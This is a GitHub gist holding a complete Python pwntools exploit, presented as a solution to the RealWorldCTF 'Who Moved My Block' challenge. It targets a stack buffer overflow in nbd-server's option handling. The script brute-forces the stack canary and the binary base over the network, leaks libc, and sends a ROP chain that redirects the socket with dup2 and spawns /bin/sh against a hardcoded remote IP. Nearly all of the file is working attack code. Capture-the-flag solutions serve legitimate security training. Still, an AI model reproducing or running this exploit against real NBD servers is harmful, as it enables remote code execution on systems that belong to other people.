Created
January 23, 2022 13:57
-
-
Save dialluvioso/096067177cdcb52e21ee578db2001a2f to your computer and use it in GitHub Desktop.
Solution to Who Moved My Block from RealWorldCTF
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # -*- coding: utf-8 -*- | |
| from pwn import * | |
| # remote stack-based buffer overflow in `handle_info` | |
| # since the architecture is a fork based model without execve() | |
| # naive strategy is a linear probing using the response as an oracle | |
| HOST = "47.242.113.232" #"localhost" | |
| PORT = 49240 #10809 | |
| INIT_PASSWD = b"NBDMAGIC" | |
| NBD_FLAG_FIXED_NEWSTYLE = 1<<0 | |
| NBD_FLAG_NO_ZEROES = 1<<1 | |
| opts_magic = 0x49484156454F5054 | |
| rep_magic = 0x3e889045565a9 | |
| NBD_OPT_GO = 7 | |
| NBD_REP_FLAG_ERROR = 1<<31 | |
| NBD_REP_ERR_UNSUP = 1|NBD_REP_FLAG_ERROR | |
| NBD_REP_ERR_POLICY = 2|NBD_REP_FLAG_ERROR | |
| context.log_level = "error" | |
| def parse_response(io): | |
| magic = u64(io.recv(8), endian="big") | |
| opt = u32(io.recv(4), endian="big") | |
| reply_type = u32(io.recv(4), endian="big") | |
| datasize = u32(io.recv(4), endian="big") | |
| data = io.recv(datasize) | |
| def send_request(opt, datasize, namelen, name, io): | |
| # first send the header | |
| header = p64(opts_magic, endian="big") + \ | |
| p32(opt, endian="big") + p32(datasize, endian="big") | |
| #input("## attach ##") | |
| io.send(header) | |
| io.send(p32(datasize, endian="big")) | |
| io.send(p32(namelen, endian="big")) | |
| parse_response(io) | |
| io.send(name) | |
| io.send(b"D" * (namelen-4)) | |
| #io.send(b"D" * namelen) | |
| io.send(p16(0)) | |
| parse_response(io) | |
| def get_canary(): | |
| canary = [0] * 8 | |
| for j in range(8): | |
| for i in range(1<<8): | |
| canary[j] = i | |
| try: | |
| io = remote(HOST, PORT) | |
| # start negotiation, first receive the init passwd | |
| buf = io.recv(8) | |
| assert(buf == INIT_PASSWD) | |
| log.info("received INIT_PASSWD") | |
| # now parse the magic | |
| magic = u64(io.recv(8), endian="big") | |
| assert(magic == opts_magic) | |
| log.success(f"received opts magic {magic:#x}") | |
| # parse global flags | |
| gflags = u16(io.recv(2), endian="big") | |
| log.info(f"global flags are {gflags:#x}") | |
| cflags = NBD_FLAG_FIXED_NEWSTYLE | |
| if (gflags & NBD_FLAG_NO_ZEROES): | |
| cflags |= NBD_FLAG_NO_ZEROES | |
| # send client flags | |
| io.send(p32(cflags, endian="big")) | |
| length = 1032+4+1+j | |
| payload = b"A"*1028 | |
| # copy previous values | |
| for k in range(j): | |
| payload += p8(canary[k]) | |
| # add current | |
| payload += p8(canary[j]) | |
| payload += b"D" * (length-4-len(payload)) | |
| namelen = length | |
| #payload += b"B" * 8 | |
| #payload += b"C" * ((datasize - 6) - len(payload)) | |
| send_request(NBD_OPT_GO, length, namelen, payload, io) | |
| header = p64(opts_magic, endian="big") + \ | |
| p32(NBD_OPT_GO, endian="big") + p32(0, endian="big") | |
| io.send(header) | |
| io.send(p32(0, endian="big")) | |
| io.send(p32(0, endian="big")) | |
| parse_response(io) | |
| io.close() | |
| print(f"Ok! found canary[{j:d}] = {i:02x}") | |
| canary[j] = i | |
| break | |
| except EOFError: | |
| continue | |
| return canary | |
| canary = get_canary() | |
| #canary = [0, 0x32, 0xd7, 0xfd, 0xd8, 0xe, 0x32, 0xcb] | |
| def get_base(): | |
| base = [0] * 8 | |
| for j in range(8): | |
| for i in range(1<<8): | |
| base[j] = i | |
| try: | |
| io = remote(HOST, PORT) | |
| buf = io.recv(8) | |
| assert(buf == INIT_PASSWD) | |
| log.info("received INIT_PASSWD") | |
| magic = u64(io.recv(8), endian="big") | |
| assert(magic == opts_magic) | |
| log.success(f"received opts magic {magic:#x}") | |
| gflags = u16(io.recv(2), endian="big") | |
| log.info(f"global flags are {gflags:#x}") | |
| cflags = NBD_FLAG_FIXED_NEWSTYLE | |
| if (gflags & NBD_FLAG_NO_ZEROES): | |
| cflags |= NBD_FLAG_NO_ZEROES | |
| io.send(p32(cflags, endian="big")) | |
| length = 1032+4+16+1+j | |
| payload = b"A"*1028 | |
| # canary | |
| for p in range(8): | |
| payload += p8(canary[p]) | |
| payload += p64(0xdeadbeef) | |
| # copy previous values | |
| for k in range(j): | |
| payload += p8(base[k]) | |
| # add current | |
| payload += p8(base[j]) | |
| payload += b"D" * (length-4-len(payload)) | |
| namelen = length | |
| send_request(NBD_OPT_GO, length, namelen, payload, io) | |
| header = p64(opts_magic, endian="big") + \ | |
| p32(NBD_OPT_GO, endian="big") + p32(0, endian="big") | |
| io.send(header) | |
| io.send(p32(0, endian="big")) | |
| io.send(p32(0, endian="big")) | |
| parse_response(io) | |
| io.close() | |
| print(f"Ok! found base[{j:d}] = {i:02x}") | |
| base[j] = i | |
| break | |
| except EOFError: | |
| continue | |
| return base | |
| base = get_base() | |
| def get_libc(): | |
| io = remote(HOST, PORT) | |
| buf = io.recv(8) | |
| assert(buf == INIT_PASSWD) | |
| log.info("received INIT_PASSWD") | |
| magic = u64(io.recv(8), endian="big") | |
| assert(magic == opts_magic) | |
| log.success(f"received opts magic {magic:#x}") | |
| gflags = u16(io.recv(2), endian="big") | |
| log.info(f"global flags are {gflags:#x}") | |
| cflags = NBD_FLAG_FIXED_NEWSTYLE | |
| if (gflags & NBD_FLAG_NO_ZEROES): | |
| cflags |= NBD_FLAG_NO_ZEROES | |
| io.send(p32(cflags, endian="big")) | |
| length = 1032+4+64+8 | |
| payload = b"A"*1028 | |
| # canary | |
| for p in range(8): | |
| payload += p8(canary[p]) | |
| payload += p64(0xdeadbeef00) | |
| payload += p64(0xdeadbeef01) | |
| payload += p64(512) | |
| payload += p64(base + 0x12DA8) | |
| payload += p64(4) | |
| payload += p64(0xdeadbeef05) | |
| payload += p64(0xdeadbeef06) | |
| payload += p64(base + 0xC202) | |
| payload += b"D" * (length-4-len(payload)) | |
| namelen = length | |
| send_request(NBD_OPT_GO, length, namelen, payload, io) | |
| header = p64(opts_magic, endian="big") + \ | |
| p32(NBD_OPT_GO, endian="big") + p32(0, endian="big") | |
| io.send(header) | |
| io.send(p32(0, endian="big")) | |
| io.send(p32(0, endian="big")) | |
| #parse_response(io) | |
| libc = u64(io.recv(8)) | |
| #libc = u64(io.recv(8)) | |
| io.close() | |
| return libc | |
| #get_canary() | |
| #get_base() | |
| #base = [0x74, 0xf2, 0x67, 0x9e, 0xfe, 0x55, 0, 0] | |
| base = u64(b"".join([p8(i) for i in base])) - 0xf274 | |
| print(f"nbd-server mapped at {base:#x}") | |
| libc = get_libc() - 0x110cc0 | |
| print(f"glibc mapped at {libc:#x}") | |
| io = remote(HOST, PORT) | |
| buf = io.recv(8) | |
| assert(buf == INIT_PASSWD) | |
| log.info("received INIT_PASSWD") | |
| magic = u64(io.recv(8), endian="big") | |
| assert(magic == opts_magic) | |
| log.success(f"received opts magic {magic:#x}") | |
| gflags = u16(io.recv(2), endian="big") | |
| log.info(f"global flags are {gflags:#x}") | |
| cflags = NBD_FLAG_FIXED_NEWSTYLE | |
| if (gflags & NBD_FLAG_NO_ZEROES): | |
| cflags |= NBD_FLAG_NO_ZEROES | |
| io.send(p32(cflags, endian="big")) | |
| dup2=libc+0x111a30 | |
| poprdi=base+0x4a58 | |
| poprsi=base+0x4798 | |
| binsh=libc+0x1b75aa | |
| system=libc+0x55410 | |
| rop_chain = p64(poprdi) + p64(4) + p64(poprsi) + p64(0) + p64(dup2) | |
| rop_chain += p64(poprdi) + p64(4) + p64(poprsi) + p64(1) + p64(dup2) | |
| rop_chain += p64(poprdi) + p64(4) + p64(poprsi) + p64(2) + p64(dup2) | |
| rop_chain += p64(poprdi) + p64(binsh) + p64(system) | |
| length = 1032+4+64+len(rop_chain) | |
| payload = b"A"*1028 | |
| # canary | |
| for p in range(8): | |
| payload += p8(canary[p]) | |
| payload += p64(0xdeadbeef00) | |
| payload += p64(0xdeadbeef01) | |
| payload += p64(512) | |
| payload += p64(base + 0x12DA8) | |
| payload += p64(4) | |
| payload += p64(0xdeadbeef05) | |
| payload += p64(0xdeadbeef06) | |
| payload += rop_chain | |
| payload += b"D" * (length-4-len(payload)) | |
| namelen = length | |
| send_request(NBD_OPT_GO, length, namelen, payload, io) | |
| header = p64(opts_magic, endian="big") + \ | |
| p32(NBD_OPT_GO, endian="big") + p32(0, endian="big") | |
| io.send(header) | |
| io.send(p32(0, endian="big")) | |
| io.send(p32(0, endian="big")) | |
| io.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment